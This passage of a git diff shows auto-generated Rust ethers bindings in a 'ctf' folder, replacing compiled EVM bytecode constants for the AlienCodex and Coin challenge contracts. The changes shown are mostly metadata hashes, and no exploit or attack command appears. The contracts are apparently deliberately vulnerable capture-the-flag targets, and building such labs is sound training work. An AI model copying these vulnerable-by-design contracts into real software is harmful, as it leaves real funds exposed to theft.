owner`D\x82\x01R\x90Q\x90\x81\x90\x03`d\x01\x90\xFD[`\0\x80T`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90\x7F\x8B\xE0\x07\x9CS\x16Y\x14\x13D\xCD\x1F\xD0\xA4\xF2\x84\x19I\x7F\x97\"\xA3\xDA\xAF\xE3\xB4\x18okdW\xE0\x90\x83\x90\xA3`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16\x90UV[`\0T`\x01`\x01`\xA0\x1B\x03\x16[\x90V[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14\x90V[`\x01\x81\x81T\x81\x10a\x02\xEAW\xFE[`\0\x91\x82R` \x90\x91 \x01T\x90P\x81V[`\0T`\x01`\xA0\x1B\x90\x04`\xFF\x16a\x03\x0EW\xFE[`\x01\x80T\x80\x82\x01\x82U`\0\x91\x90\x91R\x7F\xB1\x0E-Rv\x12\x07;&\xEE\xCD\xFDq~j2\x0C\xF4KJ\xFA\xC2\xB0s-\x9F\xCB\xE2\xB7\xFA\x0C\xF6\x01UV[a\x03Ja\x02\xCCV[a\x03\x9BW`@\x80QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01\x81\x90R`$\x82\x01R\x7FOwnable: caller is not the owner`D\x82\x01R\x90Q\x90\x81\x90\x03`d\x01\x90\xFD[a\x02\x16\x81`\x01`\x01`\xA0\x1B\x03\x81\x16a\x03\xE4W`@QbF\x1B\xCD`\xE5\x1B\x81R`\x04\x01\x80\x80` \x01\x82\x81\x03\x82R`&\x81R` \x01\x80a\x04\x87`&\x919`@\x01\x91PP`@Q\x80\x91\x03\x90\xFD[`\0\x80T`@Q`\x01`\x01`\xA0\x1B\x03\x80\x85\x16\x93\x92\x16\x91\x7F\x8B\xE0\x07\x9CS\x16Y\x14\x13D\xCD\x1F\xD0\xA4\xF2\x84\x19I\x7F\x97\"\xA3\xDA\xAF\xE3\xB4\x18okdW\xE0\x91\xA3`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90UV[\x81T\x81\x83U\x81\x81\x11\x15a\x04cW`\0\x83\x81R` \x90 a\x04c\x91\x81\x01\x90\x83\x01a\x04hV[PPPV[a\x02\xC9\x91\x90[\x80\x82\x11\x15a\x04\x82W`\0\x81U`\x01\x01a\x04nV[P\x90V\xFEOwnable: new owner is the zero address\xA2ebzzr1X b\x0C\xA7\xC4\x01\xB9sFc;\xC9\xD0\xF06\xFE\x80\x99f\xCB)\x9A\xDFx\xE5z\x88\xC8\xCD\x19\xB6\n\xDAdsolcC\0\x05\x11\x002"; + const __BYTECODE: &[u8] = b"`\x80`@R`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x163\x17\x90Ua\x04\xE1\x80a\0%`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0\x9EW`\x005`\xE0\x1C\x80c\x8D\xA5\xCB[\x11a\0fW\x80c\x8D\xA5\xCB[\x14a\0\xFCW\x80c\x8F2\xD5\x9B\x14a\x01 W\x80c\x94\xBDui\x14a\x01(W\x80c\xB5\xC6E\xBD\x14a\x01WW\x80c\xF2\xFD\xE3\x8B\x14a\x01tWa\0\x9EV[\x80c\x039\xF3\0\x14a\0\xA3W\x80c2\x8BR\xCB\x14a\0\xC8W\x80c3\xA8\xC4Z\x14a\0\xD0W\x80cG\xF5{2\x14a\0\xECW\x80cqP\x18\xA6\x14a\0\xF4W[`\0\x80\xFD[a\0\xC6`\x04\x806\x03`@\x81\x10\x15a\0\xB9W`\0\x80\xFD[P\x805\x90` \x015a\x01\x9AV[\0[a\0\xC6a\x01\xCBV[a\0\xD8a\x01\xE0V[`@\x80Q\x91\x15\x15\x82RQ\x90\x81\x90\x03` \x01\x90\xF3[a\0\xC6a\x01\xF0V[a\0\xC6a\x02\x19V[a\x01\x04a\x02\xBCV[`@\x80Q`\x01`\x01`\xA0\x1B\x03\x90\x92\x16\x82RQ\x90\x81\x90\x03` \x01\x90\xF3[a\0\xD8a\x02\xCCV[a\x01E`\x04\x806\x03` \x81\x10\x15a\x01>W`\0\x80\xFD[P5a\x02\xDDV[`@\x80Q\x91\x82RQ\x90\x81\x90\x03` \x01\x90\xF3[a\0\xC6`\x04\x806\x03` \x81\x10\x15a\x01mW`\0\x80\xFD[P5a\x02\xFBV[a\0\xC6`\x04\x806\x03` \x81\x10\x15a\x01\x8AW`\0\x80\xFD[P5`\x01`\x01`\xA0\x1B\x03\x16a\x03BV[`\0T`\x01`\xA0\x1B\x90\x04`\xFF\x16a\x01\xADW\xFE[\x80`\x01\x83\x81T\x81\x10a\x01\xBBW\xFE[`\0\x91\x82R` \x90\x91 \x01UPPV[`\0\x80T`\xFF`\xA0\x1B\x19\x16`\x01`\xA0\x1B\x17\x90UV[`\0T`\x01`\xA0\x1B\x90\x04`\xFF\x16\x81V[`\0T`\x01`\xA0\x1B\x90\x04`\xFF\x16a\x02\x03W\xFE[`\x01\x80T\x90a\x02\x16\x90`\0\x19\x83\x01a\x04?V[PV[a\x02!a\x02\xCCV[a\x02rW`@\x80QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01\x81\x90R`$\x82\x01R\x7FOwnable: caller is not the owner`D\x82\x01R\x90Q\x90\x81\x90\x03`d\x01\x90\xFD[`\0\x80T`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90\x7F\x8B\xE0\x07\x9CS\x16Y\x14\x13D\xCD\x1F\xD0\xA4\xF2\x84\x19I\x7F\x97\"\xA3\xDA\xAF\xE3\xB4\x18okdW\xE0\x90\x83\x90\xA3`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16\x90UV[`\0T`\x01`\x01`\xA0\x1B\x03\x16[\x90V[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14\x90V[`\x01\x81\x81T\x81\x10a\x02\xEAW\xFE[`\0\x91\x82R` \x90\x91 \x01T\x90P\x81V[`\0T`\x01`\xA0\x1B\x90\x04`\xFF\x16a\x03\x0EW\xFE[`\x01\x80T\x80\x82\x01\x82U`\0\x91\x90\x91R\x7F\xB1\x0E-Rv\x12\x07;&\xEE\xCD\xFDq~j2\x0C\xF4KJ\xFA\xC2\xB0s-\x9F\xCB\xE2\xB7\xFA\x0C\xF6\x01UV[a\x03Ja\x02\xCCV[a\x03\x9BW`@\x80QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01\x81\x90R`$\x82\x01R\x7FOwnable: caller is not the owner`D\x82\x01R\x90Q\x90\x81\x90\x03`d\x01\x90\xFD[a\x02\x16\x81`\x01`\x01`\xA0\x1B\x03\x81\x16a\x03\xE4W`@QbF\x1B\xCD`\xE5\x1B\x81R`\x04\x01\x80\x80` \x01\x82\x81\x03\x82R`&\x81R` \x01\x80a\x04\x87`&\x919`@\x01\x91PP`@Q\x80\x91\x03\x90\xFD[`\0\x80T`@Q`\x01`\x01`\xA0\x1B\x03\x80\x85\x16\x93\x92\x16\x91\x7F\x8B\xE0\x07\x9CS\x16Y\x14\x13D\xCD\x1F\xD0\xA4\xF2\x84\x19I\x7F\x97\"\xA3\xDA\xAF\xE3\xB4\x18okdW\xE0\x91\xA3`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90UV[\x81T\x81\x83U\x81\x81\x11\x15a\x04cW`\0\x83\x81R` \x90 a\x04c\x91\x81\x01\x90\x83\x01a\x04hV[PPPV[a\x02\xC9\x91\x90[\x80\x82\x11\x15a\x04\x82W`\0\x81U`\x01\x01a\x04nV[P\x90V\xFEOwnable: new owner is the zero address\xA2ebzzr1X \xB3\xAC\x1E.2\xB6\xA9\xB2\x9B\x96\xDE\x82\xF0\x041\xE3\xB8%=\xAE\xFE#%O\x84\x19\xF9\x12kM\xEE\ndsolcC\0\x05\x11\x002"; /// The bytecode of the contract. pub static ALIENCODEX_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__BYTECODE); #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0\x9EW`\x005`\xE0\x1C\x80c\x8D\xA5\xCB[\x11a\0fW\x80c\x8D\xA5\xCB[\x14a\0\xFCW\x80c\x8F2\xD5\x9B\x14a\x01 W\x80c\x94\xBDui\x14a\x01(W\x80c\xB5\xC6E\xBD\x14a\x01WW\x80c\xF2\xFD\xE3\x8B\x14a\x01tWa\0\x9EV[\x80c\x039\xF3\0\x14a\0\xA3W\x80c2\x8BR\xCB\x14a\0\xC8W\x80c3\xA8\xC4Z\x14a\0\xD0W\x80cG\xF5{2\x14a\0\xECW\x80cqP\x18\xA6\x14a\0\xF4W[`\0\x80\xFD[a\0\xC6`\x04\x806\x03`@\x81\x10\x15a\0\xB9W`\0\x80\xFD[P\x805\x90` \x015a\x01\x9AV[\0[a\0\xC6a\x01\xCBV[a\0\xD8a\x01\xE0V[`@\x80Q\x91\x15\x15\x82RQ\x90\x81\x90\x03` \x01\x90\xF3[a\0\xC6a\x01\xF0V[a\0\xC6a\x02\x19V[a\x01\x04a\x02\xBCV[`@\x80Q`\x01`\x01`\xA0\x1B\x03\x90\x92\x16\x82RQ\x90\x81\x90\x03` \x01\x90\xF3[a\0\xD8a\x02\xCCV[a\x01E`\x04\x806\x03` \x81\x10\x15a\x01>W`\0\x80\xFD[P5a\x02\xDDV[`@\x80Q\x91\x82RQ\x90\x81\x90\x03` \x01\x90\xF3[a\0\xC6`\x04\x806\x03` \x81\x10\x15a\x01mW`\0\x80\xFD[P5a\x02\xFBV[a\0\xC6`\x04\x806\x03` \x81\x10\x15a\x01\x8AW`\0\x80\xFD[P5`\x01`\x01`\xA0\x1B\x03\x16a\x03BV[`\0T`\x01`\xA0\x1B\x90\x04`\xFF\x16a\x01\xADW\xFE[\x80`\x01\x83\x81T\x81\x10a\x01\xBBW\xFE[`\0\x91\x82R` \x90\x91 \x01UPPV[`\0\x80T`\xFF`\xA0\x1B\x19\x16`\x01`\xA0\x1B\x17\x90UV[`\0T`\x01`\xA0\x1B\x90\x04`\xFF\x16\x81V[`\0T`\x01`\xA0\x1B\x90\x04`\xFF\x16a\x02\x03W\xFE[`\x01\x80T\x90a\x02\x16\x90`\0\x19\x83\x01a\x04?V[PV[a\x02!a\x02\xCCV[a\x02rW`@\x80QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01\x81\x90R`$\x82\x01R\x7FOwnable: caller is not the owner`D\x82\x01R\x90Q\x90\x81\x90\x03`d\x01\x90\xFD[`\0\x80T`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90\x7F\x8B\xE0\x07\x9CS\x16Y\x14\x13D\xCD\x1F\xD0\xA4\xF2\x84\x19I\x7F\x97\"\xA3\xDA\xAF\xE3\xB4\x18okdW\xE0\x90\x83\x90\xA3`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16\x90UV[`\0T`\x01`\x01`\xA0\x1B\x03\x16[\x90V[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14\x90V[`\x01\x81\x81T\x81\x10a\x02\xEAW\xFE[`\0\x91\x82R` \x90\x91 \x01T\x90P\x81V[`\0T`\x01`\xA0\x1B\x90\x04`\xFF\x16a\x03\x0EW\xFE[`\x01\x80T\x80\x82\x01\x82U`\0\x91\x90\x91R\x7F\xB1\x0E-Rv\x12\x07;&\xEE\xCD\xFDq~j2\x0C\xF4KJ\xFA\xC2\xB0s-\x9F\xCB\xE2\xB7\xFA\x0C\xF6\x01UV[a\x03Ja\x02\xCCV[a\x03\x9BW`@\x80QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01\x81\x90R`$\x82\x01R\x7FOwnable: caller is not the owner`D\x82\x01R\x90Q\x90\x81\x90\x03`d\x01\x90\xFD[a\x02\x16\x81`\x01`\x01`\xA0\x1B\x03\x81\x16a\x03\xE4W`@QbF\x1B\xCD`\xE5\x1B\x81R`\x04\x01\x80\x80` \x01\x82\x81\x03\x82R`&\x81R` \x01\x80a\x04\x87`&\x919`@\x01\x91PP`@Q\x80\x91\x03\x90\xFD[`\0\x80T`@Q`\x01`\x01`\xA0\x1B\x03\x80\x85\x16\x93\x92\x16\x91\x7F\x8B\xE0\x07\x9CS\x16Y\x14\x13D\xCD\x1F\xD0\xA4\xF2\x84\x19I\x7F\x97\"\xA3\xDA\xAF\xE3\xB4\x18okdW\xE0\x91\xA3`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90UV[\x81T\x81\x83U\x81\x81\x11\x15a\x04cW`\0\x83\x81R` \x90 a\x04c\x91\x81\x01\x90\x83\x01a\x04hV[PPPV[a\x02\xC9\x91\x90[\x80\x82\x11\x15a\x04\x82W`\0\x81U`\x01\x01a\x04nV[P\x90V\xFEOwnable: new owner is the zero address\xA2ebzzr1X b\x0C\xA7\xC4\x01\xB9sFc;\xC9\xD0\xF06\xFE\x80\x99f\xCB)\x9A\xDFx\xE5z\x88\xC8\xCD\x19\xB6\n\xDAdsolcC\0\x05\x11\x002"; + const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0\x9EW`\x005`\xE0\x1C\x80c\x8D\xA5\xCB[\x11a\0fW\x80c\x8D\xA5\xCB[\x14a\0\xFCW\x80c\x8F2\xD5\x9B\x14a\x01 W\x80c\x94\xBDui\x14a\x01(W\x80c\xB5\xC6E\xBD\x14a\x01WW\x80c\xF2\xFD\xE3\x8B\x14a\x01tWa\0\x9EV[\x80c\x039\xF3\0\x14a\0\xA3W\x80c2\x8BR\xCB\x14a\0\xC8W\x80c3\xA8\xC4Z\x14a\0\xD0W\x80cG\xF5{2\x14a\0\xECW\x80cqP\x18\xA6\x14a\0\xF4W[`\0\x80\xFD[a\0\xC6`\x04\x806\x03`@\x81\x10\x15a\0\xB9W`\0\x80\xFD[P\x805\x90` \x015a\x01\x9AV[\0[a\0\xC6a\x01\xCBV[a\0\xD8a\x01\xE0V[`@\x80Q\x91\x15\x15\x82RQ\x90\x81\x90\x03` \x01\x90\xF3[a\0\xC6a\x01\xF0V[a\0\xC6a\x02\x19V[a\x01\x04a\x02\xBCV[`@\x80Q`\x01`\x01`\xA0\x1B\x03\x90\x92\x16\x82RQ\x90\x81\x90\x03` \x01\x90\xF3[a\0\xD8a\x02\xCCV[a\x01E`\x04\x806\x03` \x81\x10\x15a\x01>W`\0\x80\xFD[P5a\x02\xDDV[`@\x80Q\x91\x82RQ\x90\x81\x90\x03` \x01\x90\xF3[a\0\xC6`\x04\x806\x03` \x81\x10\x15a\x01mW`\0\x80\xFD[P5a\x02\xFBV[a\0\xC6`\x04\x806\x03` \x81\x10\x15a\x01\x8AW`\0\x80\xFD[P5`\x01`\x01`\xA0\x1B\x03\x16a\x03BV[`\0T`\x01`\xA0\x1B\x90\x04`\xFF\x16a\x01\xADW\xFE[\x80`\x01\x83\x81T\x81\x10a\x01\xBBW\xFE[`\0\x91\x82R` \x90\x91 \x01UPPV[`\0\x80T`\xFF`\xA0\x1B\x19\x16`\x01`\xA0\x1B\x17\x90UV[`\0T`\x01`\xA0\x1B\x90\x04`\xFF\x16\x81V[`\0T`\x01`\xA0\x1B\x90\x04`\xFF\x16a\x02\x03W\xFE[`\x01\x80T\x90a\x02\x16\x90`\0\x19\x83\x01a\x04?V[PV[a\x02!a\x02\xCCV[a\x02rW`@\x80QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01\x81\x90R`$\x82\x01R\x7FOwnable: caller is not the owner`D\x82\x01R\x90Q\x90\x81\x90\x03`d\x01\x90\xFD[`\0\x80T`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90\x7F\x8B\xE0\x07\x9CS\x16Y\x14\x13D\xCD\x1F\xD0\xA4\xF2\x84\x19I\x7F\x97\"\xA3\xDA\xAF\xE3\xB4\x18okdW\xE0\x90\x83\x90\xA3`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16\x90UV[`\0T`\x01`\x01`\xA0\x1B\x03\x16[\x90V[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14\x90V[`\x01\x81\x81T\x81\x10a\x02\xEAW\xFE[`\0\x91\x82R` \x90\x91 \x01T\x90P\x81V[`\0T`\x01`\xA0\x1B\x90\x04`\xFF\x16a\x03\x0EW\xFE[`\x01\x80T\x80\x82\x01\x82U`\0\x91\x90\x91R\x7F\xB1\x0E-Rv\x12\x07;&\xEE\xCD\xFDq~j2\x0C\xF4KJ\xFA\xC2\xB0s-\x9F\xCB\xE2\xB7\xFA\x0C\xF6\x01UV[a\x03Ja\x02\xCCV[a\x03\x9BW`@\x80QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01\x81\x90R`$\x82\x01R\x7FOwnable: caller is not the owner`D\x82\x01R\x90Q\x90\x81\x90\x03`d\x01\x90\xFD[a\x02\x16\x81`\x01`\x01`\xA0\x1B\x03\x81\x16a\x03\xE4W`@QbF\x1B\xCD`\xE5\x1B\x81R`\x04\x01\x80\x80` \x01\x82\x81\x03\x82R`&\x81R` \x01\x80a\x04\x87`&\x919`@\x01\x91PP`@Q\x80\x91\x03\x90\xFD[`\0\x80T`@Q`\x01`\x01`\xA0\x1B\x03\x80\x85\x16\x93\x92\x16\x91\x7F\x8B\xE0\x07\x9CS\x16Y\x14\x13D\xCD\x1F\xD0\xA4\xF2\x84\x19I\x7F\x97\"\xA3\xDA\xAF\xE3\xB4\x18okdW\xE0\x91\xA3`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90UV[\x81T\x81\x83U\x81\x81\x11\x15a\x04cW`\0\x83\x81R` \x90 a\x04c\x91\x81\x01\x90\x83\x01a\x04hV[PPPV[a\x02\xC9\x91\x90[\x80\x82\x11\x15a\x04\x82W`\0\x81U`\x01\x01a\x04nV[P\x90V\xFEOwnable: new owner is the zero address\xA2ebzzr1X \xB3\xAC\x1E.2\xB6\xA9\xB2\x9B\x96\xDE\x82\xF0\x041\xE3\xB8%=\xAE\xFE#%O\x84\x19\xF9\x12kM\xEE\ndsolcC\0\x05\x11\x002"; /// The deployed bytecode of the contract. pub static ALIENCODEX_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); diff --git a/ctf/src/abi/coin.rs b/ctf/src/abi/coin.rs index d67ba8c..23db3cd 100644 --- a/ctf/src/abi/coin.rs +++ b/ctf/src/abi/coin.rs @@ -126,12 +126,12 @@ pub mod coin { pub static COIN_ABI: ::ethers::contract::Lazy<::ethers::core::abi::Abi> = ::ethers::contract::Lazy::new(__abi); #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`@Qa\x02\xF18\x03\x80a\x02\xF1\x839\x81\x01`@\x81\x90Ra\0/\x91a\0QV[`\x01`\x01`\xA0\x1B\x03\x16`\0\x90\x81R` \x81\x90R`@\x90 b\x0FB@\x90Ua\0\x81V[`\0` \x82\x84\x03\x12\x15a\0cW`\0\x80\xFD[\x81Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\0zW`\0\x80\xFD[\x93\x92PPPV[a\x02a\x80a\0\x90`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x006W`\x005`\xE0\x1C\x80c'\xE25\xE3\x14a\0;W\x80c\xA9\x05\x9C\xBB\x14a\0mW[`\0\x80\xFD[a\0[a\0I6`\x04a\x01\x9DV[`\0` \x81\x90R\x90\x81R`@\x90 T\x81V[`@Q\x90\x81R` \x01`@Q\x80\x91\x03\x90\xF3[a\0\x80a\0{6`\x04a\x01\xBFV[a\0\x82V[\0[3`\0\x90\x81R` \x81\x90R`@\x90 T\x80\x82\x11a\x01ZW3`\0\x90\x81R` \x81\x90R`@\x81 \x80T\x84\x92\x90a\0\xB8\x90\x84\x90a\x01\xFFV[\x90\x91UPP`\x01`\x01`\xA0\x1B\x03\x83\x16`\0\x90\x81R` \x81\x90R`@\x81 \x80T\x84\x92\x90a\0\xE5\x90\x84\x90a\x02\x18V[\x90\x91UPP`\x01`\x01`\xA0\x1B\x03\x83\x16;\x15a\x01UW`@Qc&4\x1E-`\xE2\x1B\x81R`\x04\x81\x01\x83\x90R`\x01`\x01`\xA0\x1B\x03\x84\x16\x90c\x98\xD0x\xB4\x90`$\x01`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x01=`\0\xFD[PPPP[PPPV[`@Qc\xCFG\x91\x81`\xE0\x1B\x81R`\x04\x81\x01\x82\x90R`$\x81\x01\x83\x90R`D\x01`@Q\x80\x91\x03\x90\xFD[\x805`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x01\x98W`\0\x80\xFD[\x91\x90PV[`\0` \x82\x84\x03\x12\x15a\x01\xAFW`\0\x80\xFD[a\x01\xB8\x82a\x01\x81V[\x93\x92PPPV[`\0\x80`@\x83\x85\x03\x12\x15a\x01\xD2W`\0\x80\xFD[a\x01\xDB\x83a\x01\x81V[\x94` \x93\x90\x93\x015\x93PPPV[cNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD[\x81\x81\x03\x81\x81\x11\x15a\x02\x12Wa\x02\x12a\x01\xE9V[\x92\x91PPV[\x80\x82\x01\x80\x82\x11\x15a\x02\x12Wa\x02\x12a\x01\xE9V\xFE\xA2dipfsX\"\x12 \xFFA\x94\xDBi\xBAi\xA1sT\x88]\x02\x19~\xB4\xC0\xCE&O\x8E\x97:l\xAF_}[$\xB4EkdsolcC\0\x08\x15\x003"; + const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`@Qa\x02\xF18\x03\x80a\x02\xF1\x839\x81\x01`@\x81\x90Ra\0/\x91a\0QV[`\x01`\x01`\xA0\x1B\x03\x16`\0\x90\x81R` \x81\x90R`@\x90 b\x0FB@\x90Ua\0\x81V[`\0` \x82\x84\x03\x12\x15a\0cW`\0\x80\xFD[\x81Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\0zW`\0\x80\xFD[\x93\x92PPPV[a\x02a\x80a\0\x90`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x006W`\x005`\xE0\x1C\x80c'\xE25\xE3\x14a\0;W\x80c\xA9\x05\x9C\xBB\x14a\0mW[`\0\x80\xFD[a\0[a\0I6`\x04a\x01\x9DV[`\0` \x81\x90R\x90\x81R`@\x90 T\x81V[`@Q\x90\x81R` \x01`@Q\x80\x91\x03\x90\xF3[a\0\x80a\0{6`\x04a\x01\xBFV[a\0\x82V[\0[3`\0\x90\x81R` \x81\x90R`@\x90 T\x80\x82\x11a\x01ZW3`\0\x90\x81R` \x81\x90R`@\x81 \x80T\x84\x92\x90a\0\xB8\x90\x84\x90a\x01\xFFV[\x90\x91UPP`\x01`\x01`\xA0\x1B\x03\x83\x16`\0\x90\x81R` \x81\x90R`@\x81 \x80T\x84\x92\x90a\0\xE5\x90\x84\x90a\x02\x18V[\x90\x91UPP`\x01`\x01`\xA0\x1B\x03\x83\x16;\x15a\x01UW`@Qc&4\x1E-`\xE2\x1B\x81R`\x04\x81\x01\x83\x90R`\x01`\x01`\xA0\x1B\x03\x84\x16\x90c\x98\xD0x\xB4\x90`$\x01`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x01=`\0\xFD[PPPP[PPPV[`@Qc\xCFG\x91\x81`\xE0\x1B\x81R`\x04\x81\x01\x82\x90R`$\x81\x01\x83\x90R`D\x01`@Q\x80\x91\x03\x90\xFD[\x805`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x01\x98W`\0\x80\xFD[\x91\x90PV[`\0` \x82\x84\x03\x12\x15a\x01\xAFW`\0\x80\xFD[a\x01\xB8\x82a\x01\x81V[\x93\x92PPPV[`\0\x80`@\x83\x85\x03\x12\x15a\x01\xD2W`\0\x80\xFD[a\x01\xDB\x83a\x01\x81V[\x94` \x93\x90\x93\x015\x93PPPV[cNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD[\x81\x81\x03\x81\x81\x11\x15a\x02\x12Wa\x02\x12a\x01\xE9V[\x92\x91PPV[\x80\x82\x01\x80\x82\x11\x15a\x02\x12Wa\x02\x12a\x01\xE9V\xFE\xA2dipfsX\"\x12 \xE9\x9BH\xFA\x8B\x14 \xC6\xFC\xD3Y(\xDC\xFEws\x86\x11\x9C\x1B\r\x84\xE6\xB6C\x89\xEF\x08_\x92(bdsolcC\0\x08\x15\x003"; /// The bytecode of the contract. pub static COIN_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__BYTECODE); #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x006W`\x005`\xE0\x1C\x80c'\xE25\xE3\x14a\0;W\x80c\xA9\x05\x9C\xBB\x14a\0mW[`\0\x80\xFD[a\0[a\0I6`\x04a\x01\x9DV[`\0` \x81\x90R\x90\x81R`@\x90 T\x81V[`@Q\x90\x81R` \x01`@Q\x80\x91\x03\x90\xF3[a\0\x80a\0{6`\x04a\x01\xBFV[a\0\x82V[\0[3`\0\x90\x81R` \x81\x90R`@\x90 T\x80\x82\x11a\x01ZW3`\0\x90\x81R` \x81\x90R`@\x81 \x80T\x84\x92\x90a\0\xB8\x90\x84\x90a\x01\xFFV[\x90\x91UPP`\x01`\x01`\xA0\x1B\x03\x83\x16`\0\x90\x81R` \x81\x90R`@\x81 \x80T\x84\x92\x90a\0\xE5\x90\x84\x90a\x02\x18V[\x90\x91UPP`\x01`\x01`\xA0\x1B\x03\x83\x16;\x15a\x01UW`@Qc&4\x1E-`\xE2\x1B\x81R`\x04\x81\x01\x83\x90R`\x01`\x01`\xA0\x1B\x03\x84\x16\x90c\x98\xD0x\xB4\x90`$\x01`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x01=`\0\xFD[PPPP[PPPV[`@Qc\xCFG\x91\x81`\xE0\x1B\x81R`\x04\x81\x01\x82\x90R`$\x81\x01\x83\x90R`D\x01`@Q\x80\x91\x03\x90\xFD[\x805`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x01\x98W`\0\x80\xFD[\x91\x90PV[`\0` \x82\x84\x03\x12\x15a\x01\xAFW`\0\x80\xFD[a\x01\xB8\x82a\x01\x81V[\x93\x92PPPV[`\0\x80`@\x83\x85\x03\x12\x15a\x01\xD2W`\0\x80\xFD[a\x01\xDB\x83a\x01\x81V[\x94` \x93\x90\x93\x015\x93PPPV[cNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD[\x81\x81\x03\x81\x81\x11\x15a\x02\x12Wa\x02\x12a\x01\xE9V[\x92\x91PPV[\x80\x82\x01\x80\x82\x11\x15a\x02\x12Wa\x02\x12a\x01\xE9V\xFE\xA2dipfsX\"\x12 \xFFA\x94\xDBi\xBAi\xA1sT\x88]\x02\x19~\xB4\xC0\xCE&O\x8E\x97:l\xAF_}[$\xB4EkdsolcC\0\x08\x15\x003"; + const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x006W`\x005`\xE0\x1C\x80c'\xE25\xE3\x14a\0;W\x80c\xA9\x05\x9C\xBB\x14a\0mW[`\0\x80\xFD[a\0[a\0I6`\x04a\x01\x9DV[`\0` \x81\x90R\x90\x81R`@\x90 T\x81V[`@Q\x90\x81R` \x01`@Q\x80\x91\x03\x90\xF3[a\0\x80a\0{6`\x04a\x01\xBFV[a\0\x82V[\0[3`\0\x90\x81R` \x81\x90R`@\x90 T\x80\x82\x11a\x01ZW3`\0\x90\x81R` \x81\x90R`@\x81 \x80T\x84\x92\x90a\0\xB8\x90\x84\x90a\x01\xFFV[\x90\x91UPP`\x01`\x01`\xA0\x1B\x03\x83\x16`\0\x90\x81R` \x81\x90R`@\x81 \x80T\x84\x92\x90a\0\xE5\x90\x84\x90a\x02\x18V[\x90\x91UPP`\x01`\x01`\xA0\x1B\x03\x83\x16;\x15a\x01UW`@Qc&4\x1E-`\xE2\x1B\x81R`\x04\x81\x01\x83\x90R`\x01`\x01`\xA0\x1B\x03\x84\x16\x90c\x98\xD0x\xB4\x90`$\x01`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x01=`\0\xFD[PPPP[PPPV[`@Qc\xCFG\x91\x81`\xE0\x1B\x81R`\x04\x81\x01\x82\x90R`$\x81\x01\x83\x90R`D\x01`@Q\x80\x91\x03\x90\xFD[\x805`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x01\x98W`\0\x80\xFD[\x91\x90PV[`\0` \x82\x84\x03\x12\x15a\x01\xAFW`\0\x80\xFD[a\x01\xB8\x82a\x01\x81V[\x93\x92PPPV[`\0\x80`@\x83\x85\x03\x12\x15a\x01\xD2W`\0\x80\xFD[a\x01\xDB\x83a\x01\x81V[\x94` 